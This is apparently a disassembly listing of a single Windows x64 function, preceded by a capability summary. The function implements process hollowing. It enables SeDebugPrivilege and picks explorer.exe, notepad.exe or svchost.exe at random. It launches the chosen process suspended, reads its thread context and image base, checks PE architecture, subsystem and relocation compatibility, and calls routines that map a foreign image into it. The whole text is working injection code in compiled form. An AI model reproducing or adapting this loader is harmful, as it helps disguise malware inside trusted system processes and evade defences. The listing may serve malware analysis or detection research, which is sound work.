Function at 0x140001fa0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x1740]
mov eax, 0x1840
call fcn.140003540
sub rsp, rax
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x1720], rax
movdqa xmm0, xmmword [0x1400048f0]
movdqu xmmword [rbp + 0x16a0], xmm0
mov byte [rbp + 0x16b0], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
cmp rax, 0xffffffffffffffff
jne 0x140002014
lea rcx, str.____Couldnt_open_handle_to_current_process_n
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r8, [rbp - 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140002043
lea rcx, str.____error_retrieving_token_for_the_current_process_n
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r8, [rbp + 0x278]
xor ecx, ecx
lea rdx, [rbp + 0x16a0]
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140002076
lea rcx, str.___couldnt_get_a_handle_to_privilege_struct_n
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [rbp + 0x278]
lea r8, [rbp + 0x280]
mov rcx, qword [rbp - 0x68]
xorps xmm0, xmm0
mov qword [rbp + 0x284], rax
mov r9d, 0x10
lea rax, [rbp + 0x274]
mov dword [rbp + 0x280], 1
mov qword [rsp + 0x28], rax
xor edx, edx
lea rax, [rbp + 0x290]
mov dword [rbp + 0x28c], 2
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x290], xmm0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002104
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400046e8]
call fcn.140001010
lea rcx, str.____cant_adjust_token_for_debug_priveleges
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___SeDebugPrivilege_set_up_correctly__n
mov qword [rsp + 0x1838], r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1694], 0xffffffff
mov edx, 1
mov dword [rbp + 0x314], eax
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x314], eax
inc rdx
cmp rdx, 0x270
jb 0x140002140
lea rcx, [rbp + 0x310]
mov dword [rbp + 0x310], 0x270
call fcn.140002670
mov ecx, eax
lea rax, [rcx + rcx*2]
test eax, eax
jne 0x140002199
lea rcx, [rbp + 0x310]
call fcn.140002670
mov ecx, eax
lea rax, [rcx + rcx*2]
cmp eax, 1
jb 0x140002182
movdqa xmm0, xmmword [str.C:WindowsSysWOSeDebugPrivilegeW64explorer.exe_]
lea rcx, [rbp + 0x16e0]
movdqa xmm1, xmmword [str.W64_notepad.exe]
lea r14, [0x140006040]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp + 0x1700]
shr rax, 0x20
movdqu xmmword [rbp + 0x16f0], xmm1
mov qword [rsp + 0x58], rcx
lea rcx, [rbp + 0x16b8]
movdqa xmm1, xmmword [str.W64_svchost.exe]
movdqu xmmword [rbp + 0x1710], xmm1
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + rax*8 + 0x50]
movsxd rax, dword [0x14000607c]
movdqa xmm1, xmmword [0x140004900]
movdqu xmmword [rbp + 0x16e0], xmm0
mov byte [rbp + 0x16d8], 0
movdqu xmmword [rbp + 0x1700], xmm0
mov qword [0x1405cb820], rcx
movdqu xmmword [rbp + 0x16b8], xmm0
movdqu xmmword [rbp + 0x16c8], xmm1
cmp dword [rax + r14], 0x4550
je 0x14000225a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
jmp 0x140002426
xorps xmm0, xmm0
mov qword [rsp + 0x1850], rbx
xor eax, eax
mov qword [rsp + 0x1858], rsi
mov dword [rbp + 0x304], eax
xor ebx, ebx
mov qword [rbp - 0x80], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x1860], rdi
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x1830], r15
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x2a4], xmm0
mov dword [rbp + 0x2a0], 0x68
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
movups xmmword [rbp + 0x2e4], xmm0
movups xmmword [rbp + 0x2f4], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400023b7
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x270], ebx
je 0x140002446
mov r8d, 0x2c8
mov qword [rbp - 0x78], rbx
lea rcx, [rbp - 0x5c]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x78]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x44]
lea r9d, [rbx + 4]
mov rcx, qword [rsp + 0x70]
lea r8, [rbp - 0x78]
add edx, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000238c
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x1400023a3
mov eax, dword [rbp + 0x44]
mov rcx, qword [rbp - 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
test rcx, rcx
je 0x1400023b7
test rax, rax
jne 0x1400024eb
cmp r14, 0xffffffffffffffff
je 0x1400023d1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400023e1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002401
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x1850]
mov rdi, qword [rsp + 0x1860]
mov rsi, qword [rsp + 0x1858]
mov r15, qword [rsp + 0x1830]
mov r14, qword [rsp + 0x1838]
mov rcx, qword [rbp + 0x1720]
xor rcx, rsp
call fcn.140002810
add rsp, 0x1840
pop rbp
ret
mov r8d, 0x4d0
mov qword [rbp - 0x70], rbx
lea rcx, [rbp + 0x310]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x78]
lea rdx, [rbp + 0x310]
mov dword [rbp + 0x340], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x398]
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x70]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400024b8
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x1400024d3
mov rax, qword [rbp + 0x398]
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
test rcx, rcx
je 0x1400023b7
test rax, rax
je 0x1400023b7
movsxd rax, dword [0x14000607c]
lea rcx, str.___Source_PE_Image_architecture_:_x86_n
mov r15d, 0x10b
movzx edi, word [rax + r14 + 0x18]
lea rax, str.___Source_PE_Image_architecture_:_x64_n
cmp di, r15w
cmovne rcx, rax
call fcn.140001010
cmp dword [rbp + 0x270], ebx
lea rax, str.___Target_PE_Image_architecture_:_x64_n
lea rcx, str.___Target_PE_Image_architecture_:_x86_n
cmove rcx, rax
call fcn.140001010
cmp di, r15w
jne 0x140002555
cmp dword [rbp + 0x270], ebx
jne 0x14000255d
lea rcx, str.____Architecture_are_not_compatible___n
call fcn.140001010
jmp 0x140002401
cmp dword [rbp + 0x270], ebx
jne 0x140002544
lea rcx, str.___Architecture_are_compatible___n
call fcn.140001010
movsxd rax, dword [0x14000607c]
mov rdx, qword [rsp + 0x58]
movzx ecx, word [rax + r14 + 0x5c]
movzx esi, cx
mov rcx, qword [rsp + 0x70]
cmp dword [rbp + 0x270], ebx
je 0x140002592
call fcn.140001070
jmp 0x140002597
call fcn.1400011d0
cmp eax, 0xffffffff
je 0x1400023b7
cmp esi, eax
jne 0x1400023b7
lea rcx, str.___Subsytems_are_compatible._n
call fcn.140001010
movsxd rax, dword [0x14000607c]
cmp di, r15w
jne 0x1400025f4
mov ecx, dword [rax + r14 + 0xa0]
test ecx, ecx
setne bl
test ecx, ecx
jne 0x140002603
lea rcx, str.___The_source_image_doesnt_have_a_relocation_table._n
call fcn.140001010
lea rcx, [rsp + 0x70]
cmp di, r15w
jne 0x140002613
test ebx, ebx
jne 0x14000260c
call fcn.140001340
jmp 0x140002623
cmp dword [rax + r14 + 0xb0], ebx
je 0x1400025d2
mov ebx, 1
lea rcx, str.___The_source_image_has_a_relocation_table._n
jmp 0x1400025d9
call fcn.1400017e0
jmp 0x140002623
test ebx, ebx
jne 0x14000261e
call fcn.140001590
jmp 0x140002623
call fcn.140001bc0
test eax, eax
je 0x1400023bd
cmp r14, 0xffffffffffffffff
je 0x140002645
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140002655
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002665
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002406